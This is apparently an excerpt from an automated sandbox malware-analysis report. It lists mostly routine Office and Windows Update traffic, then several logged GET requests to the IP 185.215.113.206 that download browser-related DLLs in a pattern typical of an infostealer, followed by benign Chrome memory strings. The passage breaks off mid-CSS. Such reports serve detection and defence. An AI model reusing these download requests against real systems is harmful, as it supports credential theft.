Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yp9YfE+M7HxYvMY&MD=D7Zz7GSn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 15b04ea3-5486-4ede-a121-25a70c315705.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335429223.00007AA400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000003.2144744276.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2144803762.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2144605007.00007AA400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) 